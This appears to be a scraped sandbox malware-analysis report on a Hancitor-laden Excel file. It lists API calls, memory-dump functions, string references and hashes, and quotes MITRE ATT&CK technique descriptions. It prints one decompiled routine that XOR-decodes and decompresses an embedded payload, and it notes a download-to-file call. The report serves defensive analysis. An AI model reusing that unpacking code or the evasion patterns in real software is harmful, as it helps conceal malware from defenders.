Instruction ID: 9a6dd0fc5526aad4b41d023145d117d20ededa83c557e5c25657f8a917b68313
Opcode Fuzzy Hash: e462159f91ebf12371c075a090d43d788f6f1f0694b4add03d2d06dc5b6c9539
Instruction Fuzzy Hash: 9431E232380F098BD722EE5CD98052AB7E5EFA0710B51492EE192CF641E730FD4587A3

Uniqueness

Uniqueness Score: -1.00%

Function 0034E3A4, Relevance: 6.0, APIs: 4, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0034EA9B: __getptd_noexit.LIBCMT ref: 0034EA9C
Part of subcall function 0034EA9B: __amsg_exit.LIBCMT ref: 0034EAA9

__amsg_exit.LIBCMT ref: 0034E3D0
__lock.LIBCMT ref: 0034E3E0
InterlockedDecrement.KERNEL32(?), ref: 0034E3FD
InterlockedIncrement.KERNEL32(0036C980), ref: 0034E428

Memory Dump Source

Source File: 00000005.00000002.2348568952.000000000034A000.00000020.00020000.sdmp, Offset: 0034A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_34a000_rundll32.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd_noexit__lock
String ID:
API String ID: 2880340415-0
Opcode ID: 95f95be24d7f93d605a4ba96fd1a39f2ecb087450f06dd18f2c1e0457a411422
Instruction ID: 2cebb276fda5eba3df65a9d790b35ddfe24ad3cfe06abff4fed6e46692b3dc80
Opcode Fuzzy Hash: 95f95be24d7f93d605a4ba96fd1a39f2ecb087450f06dd18f2c1e0457a411422
Instruction Fuzzy Hash: F901C035D02A21DBCB33AF669849BADB7E0BF00710F069415E810AF691C774BC41CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 0034E964, Relevance: 6.0, APIs: 4, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(0035943C,0036ABD8,0000000C,0034EA76,00000000,00000000,?,?,0034D16F,0034D31B,?,0034BE12,?), ref: 0034E975
InterlockedIncrement.KERNEL32(0036C558), ref: 0034E9D0
__lock.LIBCMT ref: 0034E9D8
___addlocaleref.LIBCMT ref: 0034E9F7

Memory Dump Source

Source File: 00000005.00000002.2348568952.000000000034A000.00000020.00020000.sdmp, Offset: 0034A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_34a000_rundll32.jbxd

Similarity

API ID: HandleIncrementInterlockedModule___addlocaleref__lock
String ID:
API String ID: 2801583907-0
Opcode ID: 211c28deb33e55d5fe2efa5ff81b7d27f5811875094f6dfa0529beaa2267e80f
Instruction ID: 7ad94ad85fe82f07d604622b17a7e57de51fa235edf76f8df247588cc4870a43
Opcode Fuzzy Hash: 211c28deb33e55d5fe2efa5ff81b7d27f5811875094f6dfa0529beaa2267e80f
Instruction Fuzzy Hash: 0711C2B0900701DFDB22EF3AD805B9ABBE0FF04301F00841AE899DB2A1C774A904CF10

Uniqueness

Uniqueness Score: -1.00%

Function 00341D40, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00341D40(void* __eflags, intOrPtr _a4, intOrPtr _a8, char _a12) {
				signed int _v8;
				void* _v12;
				long _v16;
				char _v20;
				void* _t33;
				void* _t66;
				void* _t67;

				_t1 =  &_a12; // 0x34236a
				_t33 = E00341390( *_t1);
				_t67 = _t66 + 4;
				_v12 = _t33;
				_v8 = 8;
				while(_v8 < _a8) {
					 *(_a4 + _v8) =  *(_a4 + _v8) ^  *(_a4 + _v8 % 8);
					_v8 = _v8 + 1;
				}
				_t19 =  &_v20; // 0x34236a
				_t22 =  &_a12; // 0x34236a
				_v16 = RtlDecompressBuffer(2, _v12,  *_t22, _a4 + 8, _a8 - 8, _t19);
				if(_v16 == 0) {
					_t26 =  &_v20; // 0x34236a
					E00341450(_a4, _v12,  *_t26);
					_t67 = _t67 + 0xc;
				}
				E003413D0(_v12);
				if(_v16 != 0) {
					return 0;
				}
				_t31 =  &_v20; // 0x34236a
				return  *_t31;
			}

0x00341d46
0x00341d4a
0x00341d4f
0x00341d52
0x00341d55
0x00341d67
0x00341d93
0x00341d64
0x00341d64
0x00341d97
0x00341da9
0x00341db9
0x00341dc0
0x00341dc2
0x00341dce
0x00341dd3
0x00341dd3
0x00341dda
0x00341de6
0x00000000
0x00341ded
0x00341de8
0x00000000

APIs

Part of subcall function 00341390: GetProcessHeap.KERNEL32(?,00341886,00100000), ref: 0034139C
Part of subcall function 00341390: RtlAllocateHeap.NTDLL(004E0000,00000000,00341886,?,00341886,00100000), ref: 003413BD

RtlDecompressBuffer.NTDLL(00000002,?,j#4,?,004FFFF8,j#4), ref: 00341DB3

Strings

j#4, xrefs: 00341D46, 00341DA9, 00341D49, 00341DAC
j#4, xrefs: 00341D97, 00341DE8, 00341DC2, 00341D9A, 00341DC5

Memory Dump Source

Source File: 00000005.00000002.2348545446.0000000000341000.00000020.00020000.sdmp, Offset: 00340000, based on PE: true

Associated: 00000005.00000002.2348540160.0000000000340000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.2348553427.0000000000344000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.2348559404.0000000000345000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.2348564612.0000000000348000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_340000_rundll32.jbxd

Yara matches

Similarity

API ID: Heap$AllocateBufferDecompressProcess
String ID: j#4$j#4
API String ID: 2896260840-2453557312
Opcode ID: 58f986564c3823682c9c5c20cd8427f55a198f7de81e21b9ecbcfba8b92b393a
Instruction ID: 8b572404ecf7dbec48ae8e63a9b8147997b76a483cb6ade8f6efa8f832cfbb9a
Opcode Fuzzy Hash: 58f986564c3823682c9c5c20cd8427f55a198f7de81e21b9ecbcfba8b92b393a
Instruction Fuzzy Hash: 9D213BB4E04508EFCB05DF98D881ABEBBF9AF89305F148598F9199B241D634BA80CF54

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: svchost.exe PID: 2292 Parent PID: 2364 svchost.exeCOMMON

Execution Graph

Execution Coverage:	16.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	60%
Total number of Nodes:	943
Total number of Limit Nodes:	71

Executed Functions

Function 00415800, Relevance: 69.8, APIs: 2, Strings: 32, Instructions: 10256filesynchronizationnetworkCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNELBASE(00000000,00000001,?), ref: 004158C6
URLDownloadToFileA.URLMON(00000000,?,?,00000000,00000000), ref: 00415C3C

Strings

dvC, xrefs: 0041C8E1
,}C, xrefs: 004194FB
TqC, xrefs: 00418574
@, xrefs: 0041B78C
\xC, xrefs: 0041FAA9
p@D, xrefs: 0041F7DD
DyC, xrefs: 0041B4F5
@pC, xrefs: 0041EC34
@pC, xrefs: 0041EF89
d}C, xrefs: 00419637
LvC, xrefs: 0041C8C5
\xC, xrefs: 0041B577
wC, xrefs: 00416017
0~C, xrefs: 00419B88
8wC, xrefs: 00416038
<vC, xrefs: 0041C3C2
$}C, xrefs: 00419443
@pC, xrefs: 00415E75
<vC, xrefs: 0041CAB4
\xC, xrefs: 0041B738
@pC, xrefs: 0041F4ED
@pC, xrefs: 0041AE93, 0041AE9A
@pC, xrefs: 0041F45C
\}C, xrefs: 00419574
$~C, xrefs: 00419AC3
@pC, xrefs: 004181BE
$zC, xrefs: 0041BDE6
XvC, xrefs: 0041C8D3
TyC, xrefs: 0041B5EE
xqC, xrefs: 00418607
@pC, xrefs: 0041F4A8
,wC, xrefs: 00416031

Memory Dump Source

Source File: 00000007.00000002.2133065306.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_svchost.jbxd

Similarity

API ID: CreateDownloadFileMutex
String ID: wC$$zC$$}C$$~C$,wC$,}C$0~C$8wC$<vC$<vC$@$@pC$@pC$@pC$@pC$@pC$@pC$@pC$@pC$DyC$LvC$TqC$TyC$XvC$\xC$\xC$\xC$\}C$dvC$d}C$p@D$xqC
API String ID: 2836258396-1495465107
Opcode ID: eb156ac7ec4e0aefba1d104138bdfd6374e412e2dcfc7611adf2ae9eab0656e9
Instruction ID: 3eab1be84b858212c2b712eb9ecab3bf2646d5897512f5f08c00c1dba6ecace8
Opcode Fuzzy Hash: eb156ac7ec4e0aefba1d104138bdfd6374e412e2dcfc7611adf2ae9eab0656e9
Instruction Fuzzy Hash: 6E244C716087818BD335DF24C891BDBB7E5FFC9304F10492EE48A9B291DB78A945CB86

Uniqueness

Uniqueness Score: -1.00%

Function 0040115C, Relevance: 1.7, APIs: 1, Instructions: 194
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 00401223

Memory Dump Source

Source File: 00000007.00000002.2133065306.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_svchost.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 854dcdc4280b8f2bbf386967df07d2ab6d598209781f5a3c52be75b235f8de86
Instruction ID: 6637b0886fb05ed50bbf3230547d5b9ae6dc46fa2eb97121aa624c758af38a7b
Opcode Fuzzy Hash: 854dcdc4280b8f2bbf386967df07d2ab6d598209781f5a3c52be75b235f8de86
Instruction Fuzzy Hash: 2671B075A043008FDB14DFA5E88179A77F0FB89704F51843EE944AB3A1D77DA844CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00401150, Relevance: 1.6, APIs: 1, Instructions: 135
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 00401223

Memory Dump Source

Source File: 00000007.00000002.2133065306.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_svchost.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: dcd53c9b16003cf5b3d6ef81286d83416c97c5c6dd39a0a7c2031c902ce980c7
Instruction ID: 5797e43cdd90b994771c2fa4facc44f94b85f60fc6e77d04d8847e05aa05cae2
Opcode Fuzzy Hash: dcd53c9b16003cf5b3d6ef81286d83416c97c5c6dd39a0a7c2031c902ce980c7
Instruction Fuzzy Hash: A851AE79A007008FDB14DFA9E88175AB7F0FB89708F11853EE944AB361D738A854CF99

Uniqueness

Uniqueness Score: -1.00%

Function 004013C9, Relevance: 1.6, APIs: 1, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 00401223

Memory Dump Source

Source File: 00000007.00000002.2133065306.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_svchost.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 876e0ef929dbb53e3562dd275479b8dbad9e4b4d1d75118838730e5b23ac798c
Instruction ID: 987660f846687a77f09716a2d97ca067eee8a792d56564ae2e65df0ec55cb76e
Opcode Fuzzy Hash: 876e0ef929dbb53e3562dd275479b8dbad9e4b4d1d75118838730e5b23ac798c
Instruction Fuzzy Hash: EE413AB9A047008FDB14EFA5E88179AB7F0FB89308F11843ED98497361D778A854CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 004293B0, Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2133065306.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5d87a72ccccfd3a772a0014e3e51dacc10e76357f72305bb139c42e3191fa53
Instruction ID: f32114367b7a43fce08da7f4bf6eed9adcee18824e378ae50fddce3faf8ac97f
Opcode Fuzzy Hash: c5d87a72ccccfd3a772a0014e3e51dacc10e76357f72305bb139c42e3191fa53
Instruction Fuzzy Hash: 7C4124B06087009FD324DF1AD881B5AFBF5FFC8314F10892EE98A83750D779A8458B5A

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
Tactics:	Credential Access
Data Sources:	File monitoring, Process command-line parameters
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report 0722_2857746751.xls

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Hancitor

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Location Tracking:

Cryptography:

Compliance:

Software Vulnerabilities:

Networking:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static OLE Info

General

OLE File "0722_2857746751.xls"

Indicators

Summary

Document Summary

Streams with VBA

VBA File Name: Module1.bas, Stream Size: 2081

General

VBA Code Keywords

VBA Code

VBA File Name: Sheet1.cls, Stream Size: 999

General

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre